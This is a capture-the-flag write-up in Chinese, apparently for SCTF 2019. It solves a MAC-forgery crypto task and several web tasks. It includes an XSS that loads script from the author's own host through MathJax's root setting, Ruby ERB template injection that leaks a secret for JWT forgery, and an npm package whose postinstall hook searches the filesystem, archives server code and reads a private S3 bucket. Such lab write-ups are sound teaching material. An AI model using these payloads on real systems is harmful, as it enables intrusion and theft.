第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613090870dfa8f87d03fbfeedf05fce800a79b31-1024x541.png)
也是蛮巧,一二三血全凑齐了。
比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~
第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。也是蛮巧,一二三血全凑齐了。
也是蛮巧,一二三血全凑齐了。
比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~
一、Crypto
0x01. warmup
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156129181828deebc27343c85497b96aaf47828cf6-1024x225.png)
知识点:代码审计,AES加密
附件:
步骤:
1.打开审计一下源码,发现是 AES 加密。
#!/usr/bin/python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
from FLAG import flag
class MAC:
def __init__(self):
self.key = get_random_bytes(16)
self.iv = get_random_bytes(16)
def pad(self, msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(self, msg):
return msg[:-ord(msg[-1])]
def code(self, msg):
res = chr(0)*16
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
return aes.encrypt(res).encode('hex')
def identity(self, msg, code):
if self.code(msg) == code:
msg = self.unpad(msg)
if msg == 'please send me your flag':
print 'remote: ok, here is your flag:%s' % flag
else:
print 'remote: I got it'
else:
print 'remote: hacker!'
if __name__ == '__main__':
mac = MAC()
message = 'see you at three o\'clock tomorrow'
print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
print 'so send your message:'
msg = raw_input()
print 'and your code:'
code = raw_input()
mac.identity(msg.decode('hex'), code)
exit()
先给出了一段明文的 hex 和其加密之后的 hex,然后要求给出一段明文和其对应的密文,然后就就判断其为 “please send me your flag” 且密文正确的话就给出 flag。
这里很有意思的是这里
def code(self, msg):
res = chr(0)*16
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
return aes.encrypt(res).encode('hex')
对明文进行异或摘要到 16 位之后,才进行加密的。
那么既然我们已知一组明文和密文,而且可以推算出其异或摘要之后获得的密钥,那么只要让我们传上去的明文摘要之后和前一组明文一致,那么就可以用前一组的密文来通过验证了。
2.对上面这个脚本进行改造,得到如下 POC 生成器,
#!/usr/bin/python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
flag = "fuck"
class MAC:
def __init__(self):
self.key = get_random_bytes(16)
self.iv = get_random_bytes(16)
def pad(self, msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
def unpad(self, msg):
return msg[:-ord(msg[-1])]
def code(self, msg):
res = chr(0)*16
# 最终目的 res 相等 24054d4c1a0f19444e0f4016080f1805
for i in range(len(msg)/16):
res = strxor(msg[i*16:(i+1)*16], res)
aes = AES.new(self.key, AES.MODE_CBC, self.iv)
print(res.encode('hex'))
return aes.encrypt(res).encode('hex')
def identity(self, msg, code):
if self.code(msg) == code:
msg = self.unpad(msg)
if msg == 'please send me your flag':
print 'remote: ok, here is your flag:%s' % flag
else:
print 'remote: I got it'
else:
print 'remote: hacker!'
if __name__ == '__main__':
mac = MAC()
message = 'see you at three o\'clock tomorrow'
print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
print 'so send your message:'
msg = 'please send me your flag'
print(msg)
msg_o = msg + chr(63 - len(msg)) * (63 - len(msg))
res = chr(0)*16
for i in range(len(msg_o)/16 - 1):
res = strxor(msg_o[i*16:(i+1)*16], res)
msg_o = msg_o[:32] + strxor("24054d4c1a0f19444e0f4016080f1805".decode('hex'), res) + msg_o[48:]
print(msg_o.encode('hex'))
print 'and your code:'
code = raw_input()
mac.identity(msg.decode('hex'), code)
exit()
解释一下,可以看到 code 那里我加了个 print ,输出第一组明文的十六位摘要和第二组明文的十六位摘要。
而后对第二组明文进行二次摘要,对其加上一段十六位文本,让其异或之后与第一段明文的十六位摘要相等。再加上 1~15 个 pad,最后处理时利用 pad 保留下我们需要的文本 ‘please send me your flag’。
【前 32 位不用动】【32~48 位 拿来和前面异或,使得和前面已知密文的明文摘要一致】【48~(49~63) 位 拿来 padding,不是 64 位就是为了让这一段不参与前面的摘要计算,保证最后一位可控】
运行,得到这段明文。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561293330fd406f5aa762a8899c111158748ba5ab-1024x188.png)
3.连接靶机,将明文和靶机返回的第一组明文提交,得到 flag。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561293487459ebee99854d6dde1f80ed4ef57d673-1024x213.png)
4. Flag 到手~
二、Web
0x01. math-is-fun 1
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156129355475871f4794a244941be0cc5ad7e726fc-1024x234.png)
知识点:利用外部组件进行的反射型 XSS
步骤:
1.打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561293802d764702207648032d3ba4d0fb7fd1c58-1024x320.png)
似乎要提交给管理员页面来看,页面没看到有可以提交进行储存的地方。
2.然后来看看页面源码。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561293949607136675379a81198fb2caab24f04af-1024x414.png)
这个地方似乎可控,来试试。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156129399547f9972b2d3efd1f22a86257449ee4c8-1024x484.png)
Nice,可以。
3.再来看看下面的 js。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561294060203b3e33e8161485bd6a0dac79bb0be0-1024x689.png)
可以看到,其对 config 进行解析,首先处理换行,而后对其进行解析
-config[‘name’]=value会被赋值到 window 的config里的 name value。
-name=value的会被赋值到 window 的 name,值为 value。
4.那么看看有什么地方读了 window 的,可以看到这里加载了 mathjax 来处理数学公式的显示。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561294390f63abc5b030dd99aea05a2201f05d64b-1024x52.png)
5.点击进去看看源码,搜索 window,还真调用了。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561294467503706735ddbe12b5bbb348bc11cc836-1024x588.png)
可以看到其在初始化时将 window 里已有的 MathJax 存到自身的 AuthorConfig 里,而后其会读取这个设置,将里面的 root 作为组件的 root 进行设置。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612945776ad1fd9664036e82da523ac229e69a4c-1024x146.png)
那么就好办了,我们就构造一个参数,使其从我们的网站上加载我们的 js,这样想做啥都可以了,很棒的是这样加载不受 CSP 之类的限制,美滋滋。
6.构造如下,
name那里其实为
glzjin;
MathJax={"root":"http://xss.zhaoj.in/math"}
这样就达到我们之前想达到的目的了。
7.把这个链接打过去,就可以看到 XSSBOT 加载了什么资源了。
祖传算号器:
import string, hashlib
a = string.digits + string.lowercase + string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
if s == "5e86c":
print(i + j + k + m)
exit(0)
打
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561296708d03a7066af2eaec8e6a7ea82d8c3ec05-1024x251.png)
看我自己服务器日志,得
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612966961796139b64cb38ecfc3afe0eba81f1e1-1024x32.png)
说明:这里其实我原本是直接在浏览器上看了看资源加载,没想到正常版的 Chrome 和 XSSBOT 的 headless Chrome 还有所不同,正常版 Chrome 加载的资源和 headless 的不同,错失一血- –
8.在服务器上创建一个这个路径的文件,
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612969169c9a3e477a0fc1c8c8718f4c1c495029-1024x574.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612969407c22dc46b0165b41112a740703b3326a-1024x162.png)
9.再打一遍。收 XSS。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612972226af9851edc0d5bbf81fdc5d9ac985b77-1024x293.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561297281e6910989ddfc5c88429e4d26e6f27dac-1024x162.png)
10.Flag 到手~
0x02.math-is-fun2
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561297897e438012ffbd88fb6e4a7010fe6ec625f-1024x194.png)
同上一题,不再赘述
0x03.flag shop
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561297683153f6b2c63f9581fbc546c31ddc082f2-1024x180.png)
知识点:Ruby ERB SSTI
备注:Ruby 摸得少,搜了一个下午都没搜到 Ruby 的全局变量 – -后来结束了和出题人 evoA 师傅一聊才知道得用美元符号的全局变量,哭了。在这里也还是写写 WriteUp 记录下。
步骤:
1、打开靶机,发现是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15612982157a9caad9d05292c297ab3c26c93f34bf-1024x154.png)
2、看下页面源码,主要关注后面这一段,先获取信息,失败就去请求 auth。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156130041130156856617766de3b518cf0cd0a2147-999x1024.png)
auth 之后会得到一个 jwt token。看来之后的请求我们也得带上这个。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613005776c9af287f173ed27e8bef1b516dfa41f-1024x354.png)
2、扫下敏感文件,有 robots.txt。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561298477ff66aa5ca0e85d577b4301cf1b925600-1024x249.png)
3、访问一下这个路径,是源码。
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
4、可以看到 /work 那里有 ERB 模板,还直接把可控参数 name 拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。比如 name=<%=1%>,就会得 1。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561298932cc0b898d8e1485eab9756388ec64516b-1024x306.png)
5、 继续看看源码,同时注意有这样一段意义不明的代码。似乎得传入 SECRET 参数。那么就一起带上。
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
5、对照 Ruby 全局变量表 ,不断 fuzz,发现$`有东西,
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561299721a5bbbf5e730d33b39fc57abe56258a13-1024x358.png)
回溯到源码看看
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
其在模板渲染之前之前有个匹配,就是这里。要是 SECRET 参数存在则对其进行匹配,用传入的这个值去和 ENV[“SECRET”] 匹配,匹配上了就往终端输出 FLAG。意义不明的代码,但这里既然有匹配,就可以用全局变量读出来了,也就是用 $` 来读取匹配前的内容。
那么这里读出来的就是 ENV 的 SECRET 的一部分了。
6、然后我们 SECRET 不传试试,这样括号里的匹配就不进行,只进行括号外的 ENV[“SECRET”] 的匹配,再用全局变量 $` 就可以读出 ENV[“SECRET”] 了。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561300080dd14c2deb9d260c0a394d98685546a1f-1024x407.png)
7、拿到了 secret 之后,到 jwt.io 伪造一下 cookie 里的 auth 里存的 jwt 令牌。jkl 设置为 2000000000000000000000000000 。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561301017ab39d12b9636541896cd7ed8020db9ab-1024x642.png)
8、置 cookie,买 flag。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561301042b77386eac93efcb778853001c8b80b39-1024x309.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156130105590cf10c3eae246315a0e4b7dc97c9751.png)
9、然后再解析一下新的 jwt token。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561301085e55213333065674cf9da84770857f0fa-1024x390.png)
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613011066cabe01278fd8a35d10031e37b1c8b78-856x1024.png)
10、Flag 到手~
0x04.easy-web
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561302204cc2630608b60156f1342d80ed9989182-1024x177.png)
知识点:RCE点找寻(预期解),NPM 包特性(非预期解)
备注:这题做出来之后和出题人 l0ca1 师傅聊了聊,发现是有 RCE 点的,在传入包名那- -不过到后面我这种蛇皮做法个人觉得反倒还方便些。以下我就写写自己的方法吧。
步骤:
1、打开靶机,是这样一个页面。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561303016998451a9bff95c057f4111730beceafb-1024x685.png)
2、看看源码,是 vue 写的。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561303320a8b485b6a2027a8e7b6bb8ded6f47475-1024x105.png)
3、看下 app.js,找出其中的接口。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561303408484e7060a3bff3b7571269985812e922-1024x305.png)
4、分析文件,
看到如下几个点
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613036536833a4fe165f2e8294c8c6c50e518acb-1024x316.png)
提示 {“npm”:[“jquery”,”moment”]} ,其功能为下载 npm包打包之后提供二次下载。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/156130387776b114348a166bfc079c2de68da5fbbe-1024x310.png)
提示 key 为 abcdefghiklmn123,接口地址 /upload。
经过观察,测试,得到该接口的正确用法:
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613040245952d03c97c1fde228e4ef9544178a99-1024x515.png)
5、然后参考 https://juejin.im/post/5971aa866fb9a06bb5406c94 自己来构造一个包,里面不需要有实际内容,主要利用 npm 包 package json 里 script 段的 postinstall 配置,这种攻击在现实中也出现过。https://www.anquanke.com/post/id/85150
构建步骤:
mkdir glzjintest1
cd glzjintest1
npm init1
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561304863048a861560598b42d2547ee1be5a0ac2-1024x795.png)
新建一个 index.js,内容如下
exports.showMsg = function () {
console.log("This is my first module");
};
编辑 package.json,
{
"name": "glzjintest1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
},
"author": "",
"license": "ISC"
}
主要是改 scripts,postinstall 里面为你想执行的命令。这里我主要是想搜搜有没有 flag。
然后是推送包到 npmjs,
npm login
npm publish
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561304929a51daa27fdccd5106edc58cc4321e935-1024x420.png)
6、然后请求靶机,让其下载这个包。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561306194f67238fc915299020a02cc29eef447be-1024x548.png)
7、我们把返回的 URL 所指向的压缩包下载下来解压看看,可以看到我们的命令执行结果。没找到像 flag 的文件。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561306319e2df99af34dd65a3559b3dea1d600d5e-1024x713.png)
8、似乎 /var/task 是程序所在目录,打个包下下来看看。
继续修改 package.json,版本升级下,推包。
{
"name": "glzjintest1",
"version": "1.0.3",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
},
"author": "",
"license": "ISC"
}
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561306393a652e79071cc23c7c68a000164d67b3e-1024x305.png)
然后继续让靶机下载咱们这个包。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561306473fed54076985195a279639ec4c6f92f77-1024x499.png)
解压 result.tar.gz
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561306516b750871bad9dc523565452eed30d3e76-1024x310.png)
9、审计源码 index.js
const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
"Bucket":"static.l0ca1.xyz",
"host":"static.l0ca1.xyz",
}
function getRandomStr(len) {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < len; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
function zip(archive, output, nodeModules) {
const field_name = getRandomStr(20);
fs.mkdirSync(`/tmp/${field_name}`);
archive.pipe(output);
return new Promise((res, rej) => {
async.mapLimit(nodeModules, 10, (i, c) => {
process.chdir(`/tmp/${field_name}`);
console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
if (error) {
c(null, error);
} else {
c(null, stdout);
}
});
}, (error, results) => {
archive.directory(`/tmp/${field_name}/`, false);
archive.finalize();
});
output.on('close', function () {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
res("");
});
});
archive.on("error", (e) => {
cp.exec(`rm -rf /tmp/${field_name}`, () => {
rej(e);
});
});
});
}
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
return new Promise((resolve, reject) => {
fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
if (err) {
ctx.throw("系统发生错误,请重试");
return;
};
ctx.type = 'text/html';
ctx.body = data.toString();
resolve();
});
});
})
.post("/login",async(ctx)=>{
if(!ctx.request.body.email || !ctx.request.body.password){
ctx.throw(400,"参数错误");
return;
}
ctx.body = {isUser:false,message:"用户名或密码错误"};
return;
})
.post("/upload", async (ctx) => {
const parme = ctx.request.body;
const nodeModules = parme.npm;
const key = parme.key;
if(typeof key == "undefined" || key!="abcdefghiklmn123"){
ctx.throw(403,"请求失败");
return;
}
if (typeof nodeModules == "undefined") {
ctx.throw(400, "JSON 格式错误");
return;
}
const zipFileName = `${getRandomStr(20)}.zip`;
var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
var archive = archiver('zip', {
zlib: { level: 9 },
});
try {
await zip(archive, output, nodeModules);
} catch (e) {
console.log(e);
ctx.throw(400,"系统发生错误,请重试");
return;
}
const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
console.log(e);
ctx.throw(400,"系统发生错误,请重试");
return;
});
ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
cp.execSync(`rm -f /tmp/${zipFileName}`);
return;
})
app.use(router.routes());
if (process.env && process.env.AWS_REGION) {
require("dns").setServers(['8.8.8.8','8.8.4.4']);
const serverless = require('serverless-http');
module.exports.handler = serverless(app, {
binary: ['image/*', 'image/png', 'image/jpeg']
});
}else{
app.listen(3000,()=>{
console.log(`listening 3000......`);
});
}
可以看到包是存在 亚马逊 s3 上的,而且在最后几行可以看出这个程序似乎是跑在亚马逊的 serverless 服务上的。
10、那么就来写个 nodejs 看看 s3 的 bucket 里有啥吧,把我们的包改下。
package.json 改为如下内容,版本升级,依赖加上,命令执行上。
{
"name": "glzjintest1",
"version": "1.0.7",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
},
"author": "",
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.449.0"
}
}
命令那里我复制到上上级 – -为了不重复下载依赖- -使得包太大。
index.js 改为如下内容:
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
exports.showMsg = function () {
console.log("This is my first module");
};
读出 s3 里存的东西,从 serverless 里连接是不需要凭证的。
然后让靶机下载这个包。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561308385a0d03c07be7bfdc8f4bc98cec33f937d-1024x597.png)
解压,看到开头有个 flag 文件。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613085242c918e3912e5a7b9f8ce0198258a3d05-1024x586.png)
11、继续更改 package.json,提升版本。
{
"name": "glzjintest1",
"version": "1.1.0",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
},
"author": "",
"license": "ISC",
"dependencies": {
"aws-sdk": "^2.449.0"
}
}
然后修改 index.js,为其添加读取这个 flag 文件的代码。
const AWS = require("aws-sdk");
const s3Parme = {
// accessKeyId:"xxxxxxxxxxxxxxxx",
// secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
// Create the parameters for calling listObjects
var bucketParams = {
Bucket : 'static.l0ca1.xyz',
};
// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
if (err) {
console.log("Error", err);
} else {
console.log("Success", data);
}
});
var fileParam = {
Bucket : 'static.l0ca1.xyz',
Key: 'flaaaaaaaaag/flaaaag.txt'
};
s3.getObject(fileParam, function(err, data) {
if (err) console.log(err, err.stack); // an error occurred
else console.log(data); // successful response
});
exports.showMsg = function () {
console.log("This is my first module");
};
推包,让靶机下载。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561308648c4f3dd1f266e4d874609a564a7dd083c-1024x515.png)
下载回来,解压,得到文件内容。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/1561308812df0cd4ef2d0e8186c38564be507ff4dd-1024x609.png)
解码下就是 flag。
![](https://www.zhaoj.in/wp-content/uploads/2019/06/15613087984480497dcfc33d91a893ba98fe960fa3-1024x440.png)
12、Flag 到手~
9 个评论
aaaaa
tql
glzjin
– –
Fplyth0ner
tql
glzjin
– –
y1nhui
tql
glzjin
– –
123
tal
glzjin
– –
123
tql